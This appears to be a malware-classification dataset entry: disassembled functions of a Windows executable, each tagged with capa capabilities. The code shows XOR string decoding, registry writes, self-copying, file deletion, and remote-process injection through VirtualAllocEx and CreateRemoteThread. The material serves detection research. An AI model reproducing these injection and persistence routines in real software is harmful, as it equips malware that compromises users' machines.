joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40249f
Capabilities:
Enumerate files on windows
Get common file path
Query environment variable
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
push ebx
push esi
push edi
xor ebx, ebx
push 0x13c
lea eax, [ebp - 0x148]
push ebx
push eax
mov dword [ebp - 0x14c], ebx
call sub.ntdll.dll_memset
add esp, 0xc
push 0x18
pop eax
mov dword [ebp - 0xc], ebx
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x4024ed
push 0x93
push 0x14
mov edx, 0x406968
call fcn.00403676
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
mov esi, 0x88
cmp edi, ebx
je 0x40250f
push esi
push 0x14
mov eax, edi
mov edx, 0x40697c
call fcn.00403676
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov ebx, esp
test ebx, ebx
je 0x40252c
push esi
push 5
mov eax, ebx
mov edx, 0x406994
call fcn.00403676
call fcn.00401ec6
test eax, eax
mov eax, edi
jne 0x40253a
mov eax, dword [ebp - 8]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x254]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x35c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea eax, [ebp - 0x254]
push eax
call esi
push ebx
lea eax, [ebp - 0x254]
push eax
call fcn.00403760
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
test edi, edi
je 0x40263c
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
test eax, eax
je 0x402626
cmp dword [ebp - 8], 0
jne 0x402626
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4025e1
push 0x91
push 9
mov edx, 0x406680
call fcn.00403676
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00402a4a
test eax, eax
je 0x402626
cmp dword [ebp + 8], 0
je 0x402613
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x564]
push 0x4046b4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x564]
push eax
call fcn.00402b5e
test eax, eax
je 0x402626
lea eax, [ebp - 0x120]
push eax
call fcn.004021e0
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x40263c
lea eax, [ebp - 0x14c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402596
lea eax, [ebp - 0x35c]
push eax
call esi
test edi, edi
je 0x402650
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0xc]
lea esp, [ebp - 0x574]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x402690
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
mov esi, 0x103
xor edi, edi
push esi
lea eax, [ebp - 0x20b]
push edi
push eax
mov dword [ebp - 4], edi
mov byte [ebp - 0x20c], 0
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x107]
push edi
push eax
mov byte [ebp - 0x108], 0
call sub.ntdll.dll_memset
add esp, 0x18
cmp dword [ebp + 8], edi
je 0x4027bf
lea ebx, [esi + 1]
push ebx
lea eax, [ebp - 0x20c]
push eax
push 0x42b710
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x34
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x402713
push 0x8b
push 0x31
mov eax, edi
mov edx, 0x406218
call fcn.00403676
lea eax, [ebp - 4]
push eax
push 0x20206
push 0
push edi
mov esi, 0x80000001
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x40273c
lea eax, [ebp - 4]
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4027b0
push 0x30
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40275f
push 0x8b
push 0x2d
mov edx, 0x4061e8
call fcn.00403676
lea ecx, [ebp - 0x20c]
push ecx
push eax
lea eax, [ebp - 0x108]
push ebx
push eax
call dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp - 0x108]
add esp, 0x10
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402781
sub eax, ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x4027b0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
cmp dword [ebp - 4], 0
je 0x4027bf
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esp, [ebp - 0x218]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4029b3
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
xor esi, esi
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x402a38
push 0x80000000
push dword [ebp + 8]
call fcn.0040295a
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x402a38
push edi
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, ebx
je 0x402a2c
call fcn.004037dc
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, ebx
je 0x402a2c
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
jne 0x402a2c
mov esi, edi
call fcn.0040382b
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call fcn.00402118
mov esi, dword [ebp - 0xc]
pop edi
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x402a41
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8
Function at 0x402a4a
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x402b4e
cmp dword [ebp + 0xc], edi
je 0x402b4e
push edi
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov esi, eax
cmp esi, edi
je 0x402b4e
call fcn.004037dc
mov ebx, eax
cmp ebx, edi
je 0x402b4e
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x402b47
push 0x1c
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x402ac3
push 0x89
push 0x1a
mov edx, 0x406948
call fcn.00403676
mov edi, dword [sym.imp.VERSION.dll_VerQueryValueA]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push ebx
call edi
test eax, eax
je 0x402b47
push 0x28
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402af8
push 0x95
push 0x27
mov edx, 0x406854
call fcn.00403676
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 2]
movzx ecx, word [ecx]
push edx
push ecx
push eax
lea eax, [ebp - 0x118]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x118]
push eax
push ebx
call edi
test eax, eax
je 0x402b47
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402b47
mov dword [ebp - 4], 1
mov esi, ebx
call fcn.0040382b
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x124]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x402c46
Capabilities:
Delete file
Set file attributes

Disassembly:
xor eax, eax
test edi, edi
je 0x402c66
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call esi
test eax, eax
jne 0x402c65
push edi
call esi
pop esi
ret
Function at 0x402ed0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push edi
mov edi, 0x42b5a8
push edi
xor ebx, ebx
call esi
test eax, eax
je 0x402f40
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402f0f
push 0x8b
push 0x12
mov edx, 0x4069b8
call fcn.00403676
push edi
push eax
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call esi
test eax, eax
je 0x402f40
lea edi, [ebp - 0x104]
call fcn.00402c46
mov ebx, eax
mov eax, ebx
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402f4d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push edi
push 3
xor edi, edi
call fcn.0040385f
add eax, 3
push eax
call fcn.00403736
mov ebx, eax
cmp ebx, edi
je 0x402fba
push esi
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call fcn.004031cd
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x402fb2
mov esi, 0x104
call fcn.004037dc
mov edi, eax
test edi, edi
je 0x402fb2
push edi
push 0xffffffffffffffff
call fcn.0040385f
push eax
push ebx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, ebx
call fcn.0040382b
pop esi
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x40304c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp edi, ebx
je 0x403130
push edi
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x403130
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, ebx
je 0x403098
push 0x87
push 2
mov eax, esi
mov edx, 0x406a24
call fcn.00403676
push 0xffffffffffffffff
call fcn.0040385f
push eax
push esi
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp - 0x104]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4030bf
sub eax, edx
cmp eax, 6
jb 0x403098
cmp byte [ebp - 0x104], bl
je 0x4030f9
lea ecx, [ebp - 0x104]
movsx eax, byte [ecx]
lea edx, [eax - 0x30]
and edx, 0x80000001
jns 0x4030ee
dec edx
or edx, 0xfffffffe
inc edx
je 0x4030f4
add al, 0x31
mov byte [ecx], al
inc ecx
cmp byte [ecx], bl
jne 0x4030db
lea eax, [ebp - 0x104]
push eax
push edi
call fcn.00403760
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x403125
push 0x95
push 4
mov edx, 0x4065f4
call fcn.00403676
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
xor esi, esi
inc esi
mov eax, esi
lea esp, [ebp - 0x10c]
pop esi
pop ebx
leave
ret
Function at 0x40313c
Capabilities:
Access pe header
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
xor edi, edi
and dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x4031c6
push esi
push 0x104
lea eax, [ebp - 0x108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.004029b3
mov esi, eax
test esi, esi
je 0x4031a8
cmp dword [ebp - 4], edi
je 0x4031a8
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edi, eax
test edi, edi
je 0x4031a8
push 0xffffffffffffffff
call fcn.0040385f
push esi
push dword [ebp + 8]
mov dword [edi + 0x58], eax
mov eax, dword [ebp - 4]
call fcn.00402be7
mov edi, eax
test edi, edi
jne 0x4031bc
push 1
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, eax
test esi, esi
je 0x4031c5
call fcn.0040382b
pop esi
mov eax, edi
pop edi
leave
ret 4

Function at 0x40333b
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push dword [ebp + 8]
push 8
pop edi
push edi
call esi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4033a5
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x18
jne 0x403438
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push dword [ebp + 8]
push edi
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403457
lea eax, [ebp - 0x228]
push eax
push ebx
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x40344c
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp + 8], eax
test eax, eax
je 0x4033e6
push 0x8e
push 6
mov edx, 0x406654
call fcn.00403676
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x403406
push 0x85
push 4
mov eax, edi
mov edx, 0x4065f0
call fcn.00403676
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
test eax, eax
je 0x403424
push edi
push eax
call esi
test eax, eax
jne 0x403445
lea eax, [ebp - 0x228]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x40340c
jmp 0x40344c
call ebx
cmp eax, 0x12b
je 0x403457
call ebx
jmp 0x403457
mov dword [ebp - 4], 1
cmp ebx, 0xffffffff
je 0x403457
push ebx
call fcn.00402118
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x234]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x403493
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
push edi
mov ebx, eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
cmp ebx, eax
sete cl
mov dword [ebp - 4], esi
mov dword [ebp - 8], ecx
cmp ebx, esi
je 0x403658
mov edi, dword [ebp + 8]
cmp edi, esi
je 0x403658
cmp dword [ebp + 0xc], esi
je 0x403658
cmp ecx, esi
jne 0x403509
call fcn.00401ec6
test eax, eax
je 0x4034ec
call fcn.00401ec6
test eax, eax
je 0x40366c
push ebx
push 0x10043a
call fcn.00401f51
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x403511
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x403658
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x4034f7
cmp dword [ebp - 8], esi
jne 0x403534
push 0x2710
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 4]
call fcn.00403467
test eax, eax
jne 0x40365e
push ebx
call fcn.0040333b
test eax, eax
jne 0x40354c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x403534
push ebx
call fcn.0040333b
test eax, eax
je 0x403658
mov esi, dword [edi + 0x3c]
add esi, edi
mov eax, dword [esi + 0x50]
test eax, eax
je 0x403658
add eax, dword [ebp + 0xc]
push 4
push 0x3000
push eax
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x403658
mov eax, dword [esi + 0x54]
push edi
push ebx
push dword [ebp - 4]
call fcn.004032e1
movzx eax, word [esi + 0x14]
and dword [ebp - 0x10], 0
xor ecx, ecx
lea eax, [eax + esi + 0x18]
cmp cx, word [esi + 6]
jae 0x4035d7
lea edi, [eax + 0x14]
mov eax, dword [edi]
add eax, dword [ebp + 8]
push eax
mov eax, dword [edi - 8]
add eax, ebx
push eax
push dword [ebp - 4]
mov eax, dword [edi - 4]
call fcn.004032e1
movzx eax, word [esi + 6]
add edi, 0x28
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jl 0x4035ae
mov edi, dword [ebp + 8]
mov eax, dword [esi + 0x50]
push edi
add eax, ebx
push eax
push dword [ebp - 4]
mov eax, dword [ebp + 0xc]
call fcn.004032e1
mov edi, dword [esi + 0x28]
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [esi + 0x50]
xor edi, 0x31337
push ebx
add edi, ebx
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor esi, esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp dword [ebp - 8], esi
je 0x403620
push edi
call fcn.0040200c
jmp 0x403651
push esi
push esi
push esi
push edi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
je 0x403640
push eax
call fcn.00402118
mov dword [ebp - 0xc], 1
jmp 0x40365e
push edi
push ebx
call fcn.00403201
cmp eax, esi
je 0x40365e
push eax
call fcn.00402118
mov dword [ebp - 0xc], 1
cmp dword [ebp - 8], 0
jne 0x40366c
cmp dword [ebp - 4], 0
je 0x40366c
push dword [ebp - 4]
call fcn.00402118
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x403676
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x403697
mov esi, edx
mov ecx, eax
sub esi, eax
mov edx, edi
mov bl, byte [esi + ecx]
xor bl, byte [ebp + 0xc]
mov byte [ecx], bl
inc ecx
dec edx
jne 0x40368b
xor edx, edx
mov byte [edi + eax], dl
cmp edi, edx
jbe 0x40372f
lea ebx, [edx + eax]
mov cl, byte [ebx]
cmp cl, 0x5c
jne 0x4036d1
lea edi, [edx + eax + 1]
cmp byte [edi], cl
je 0x40371a
cmp cl, cl
jne 0x4036d1
lea edi, [edx + eax + 1]
cmp byte [edi], 0x72
jne 0x4036d1
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 0xd
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x403725
lea edi, [edx + eax + 1]
cmp byte [edi], 0x6e
jne 0x4036ed
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 0xa
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x403725
lea edi, [edx + eax + 1]
cmp byte [edi], 0x74
jne 0x403709
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
mov byte [ebx], 9
rep movsb byte es:[edi], byte [esi]
cmp byte [ebx], 0x5c
jne 0x403725
lea edi, [edx + eax + 1]
cmp byte [edi], 0x22
jne 0x403725
mov byte [ebx], 0x22
mov ecx, dword [ebp + 8]
sub ecx, edx
lea esi, [edx + eax + 2]
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, dword [ebp + 8]
jb 0x4036a4
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x403bec
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x404240
sub eax, eax
test esi, esi
je 0x403cc4
sub eax, 1
test ecx, ecx
je 0x403cc2
test esi, 3
je 0x403c2a
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x403c0f
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x403ca9
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x403c34
mov ecx, edx
test ecx, ecx
je 0x403cc2
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x403caf
not eax
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x40424e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x411aa6
call fcn.0041079c
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
push 0x60
push ebx
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x4042cb
push 2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x4042cb
call fcn.0040367e
mov esi, eax
jmp 0x4043a2
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x4042ee
call fcn.0040367e
jmp 0x404395
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x4042e4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x420], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x40431e
mov esi, 0x8007000e
jmp 0x404397
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.004034a4
jmp 0x404344
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x404317
push esi
push dword [ebp - 0x418]
push esi
push dword [ebp - 0x41c]
push ebx
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x4042e4
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call fcn.00404114
mov esi, eax
test edi, edi
je 0x4043a2
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x4043bb
lea ecx, [ebp - 0x418]
call fcn.0040393f
lea ecx, [ebp - 0x428]
call fcn.00402d7a
mov eax, esi
call fcn.004106ed
ret 0x10
Function at 0x404b38
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, ecx
test edx, edx
jne 0x404b4b
push 0xd
pop eax
jmp 0x404b8f
push esi
xor eax, eax
push edi
mov dword [ebp + 0xc], eax
mov esi, eax
mov edi, edx
mov ecx, edi
lea eax, [ecx + 2]
mov dword [ebp - 4], eax
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp + 0xc]
jne 0x404b5e
sub ecx, dword [ebp - 4]
sar ecx, 1
inc ecx
lea edi, [edi + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x404b56
push esi
push edx
push 7
xor eax, eax
push eax
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x404b96
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x404ba8
push 0xd
pop eax
jmp 0x404bda
mov ecx, edx
push ebx
push edi
xor ebx, ebx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x404bb1
sub ecx, edi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop ebx
pop esi
pop ebp
ret 0xc